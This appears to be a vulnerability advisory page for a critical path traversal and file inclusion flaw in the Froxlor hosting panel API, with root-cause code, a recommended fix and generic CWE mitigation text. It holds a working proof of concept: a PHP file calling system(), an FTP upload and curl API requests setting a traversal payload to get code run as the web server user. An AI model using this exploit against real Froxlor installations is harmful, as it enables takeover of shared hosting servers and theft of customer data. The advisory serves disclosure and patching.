GHSA-w59f-67xm-rxx7 CVE-2026-41228
Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution
- Severity
- 9.9 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.52%
- Chance of exploitation in the next 30 days. Higher than 44.49% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
- Fix
2.3.6- Upgrade froxlor/froxlor to this version or later
Description
Summary
The Froxlor API endpoint Customers.update (and Admins.update) does not validate the def_language parameter against the list of available language files. An authenticated customer can set def_language to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.
Details
Root cause: The API and web UI have inconsistent validation for the def_language parameter.
The web UI (customer_index.php:261, admin_index.php:265) correctly validates def_language against Language::getLanguages(), which scans the lng/ directory for actual language files:
// customer_index.php:260-265
$def_language = Validate::validate(Request::post('def_language'), 'default language');
if (isset($languages[$def_language])) {
Customers::getLocal($userinfo, [
'id' => $userinfo['customerid'],
'def_language' => $def_language
])->update();
The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]*$/D, which permits path traversal sequences:
// Customers.php:1167-1172 (customer branch)
} else {
// allowed parameters
$def_language = $this->getParam('def_language', true, $result['def_language']);
...
}
// Customers.php:1207 - validation (shared by admin and customer paths)
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
The tainted value is stored in the panel_customers (or panel_admins) table. On every subsequent request, it is loaded and used in two paths:
API path (ApiCommand.php:218-222):
private function initLang()
{
Language::setLanguage(Settings::Get('panel.standardlanguage'));
if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) {
Language::setLanguage($this->getUserDetail('language'));
} elseif ($this->getUserDetail('def_language') !== null) {
Language::setLanguage($this->getUserDetail('def_language')); // No validation
}
}
Web path (init.php:180-185):
if (CurrentUser::hasSession()) {
if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) {
Language::setLanguage(CurrentUser::getField('language'));
} else {
Language::setLanguage(CurrentUser::getField('def_language')); // No validation
}
}
The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated def_language.
File inclusion (Language.php:89-98):
private static function loadLanguage($iso): array
{
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
if (!file_exists($languageFile)) {
return [];
}
$lng = require $languageFile; // Arbitrary PHP execution
With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.
PoC
Step 1 — Upload malicious language file via FTP:
Froxlor customers have FTP access to their web directory by default (api_allowed defaults to 1 in the schema).
# Create malicious .lng.php file
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
# Upload to customer web directory via FTP
ftp panel.example.com
> put evil.lng.php
The file is now at /var/customers/webs/<loginname>/evil.lng.php.
Step 2 — Set traversal payload via API:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'
The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().
Step 3 — Trigger inclusion on next API call:
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.get"}'
ApiCommand::initLang() loads def_language from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.
Step 4 — Verify execution:
cat /tmp/pwned
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
An authenticated customer can execute arbitrary PHP code as the web server user. This enables:
- Full server compromise: Read
lib/userdata.inc.phpto obtain database credentials, then access all customer data, admin credentials, and server configuration. - Lateral movement: Access other customers' databases, email, and files from the shared hosting environment.
- Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access.
- Data exfiltration: Read all hosted databases and email content across the panel.
The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (api_allowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.
Recommended Fix
Validate def_language against the actual language file list in the API endpoints, matching the web UI behavior:
// In Customers.php, replace line 1207:
// $def_language = Validate::validate($def_language, 'default language', '', '', [], true);
// With:
$def_language = Validate::validate($def_language, 'default language', '', '', [], true);
if (!empty($def_language) && !isset(Language::getLanguages()[$def_language])) {
$def_language = Settings::Get('panel.standardlanguage');
}
Apply the same fix in Admins.php at line 600.
Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:
private static function loadLanguage($iso): array
{
// Reject path traversal attempts
if ($iso !== basename($iso) || str_contains($iso, '..')) {
return [];
}
$languageFile = dirname(__DIR__, 2) . sprintf('/lng/%s.lng.php', $iso);
// ...
}
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| froxlor/froxlor | < 2.3.6 |
2.3.6 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
froxlor/froxlor Packagist → 2.3.6
- composer
composer require froxlor/froxlor:^2.3.6
Severity breakdown
CVSS 3.1 9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')
The PHP application receives input from an upstream component, but it does not restrict or incorrectly restricts the input before its usage in "require," "include," or similar functions.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent lists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be rem
- Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: Develop and run your code in the most recent versions of PHP available, preferably PHP 6 or later. Many of the highly risky features in earlier PHP interpreters have been removed, restricted, or disabled by default.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues. Often, programmers do not protect direct access to files intended only to be included by core programs. These include files may assume that critical variables have already been initialized by the calling program. As a result, the use of register_globals combined with the ability to directly access the include file may allow attackers to conduct file inclusion attacks. This remains an extremely common pattern as of 2009.
- Operation: Set allow_url_fopen to false, which limits the ability to include files from remote locations.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-7788-ghfq-c6mh Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints | Critical | Also affects froxlor/froxlor |
| GHSA-xpr4-8vp6-c87j Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection | Medium | Also affects froxlor/froxlor |
| GHSA-5rw4-4665-cvwf Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields | Medium | Also affects froxlor/froxlor |
| GHSA-w27m-rmmf-g5w4 Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration | High | Also affects froxlor/froxlor |
| GHSA-43gm-9rr3-cx7g Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover | High | Also affects froxlor/froxlor |
| GHSA-q4rm-m6xh-5pv7 Froxlor customer can create MySQL databases on disallowed servers via Mysqls.add API | Medium | Also affects froxlor/froxlor |
| GHSA-mr9h-45p9-fg8h Froxlor: Authenticated customers can read other customers' allowed sender aliases | Medium | Also affects froxlor/froxlor |
| GHSA-f9rx-7wf7-jr36 Froxlor's API Authentication bypasses 2FA Authentication | High | Also affects froxlor/froxlor |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor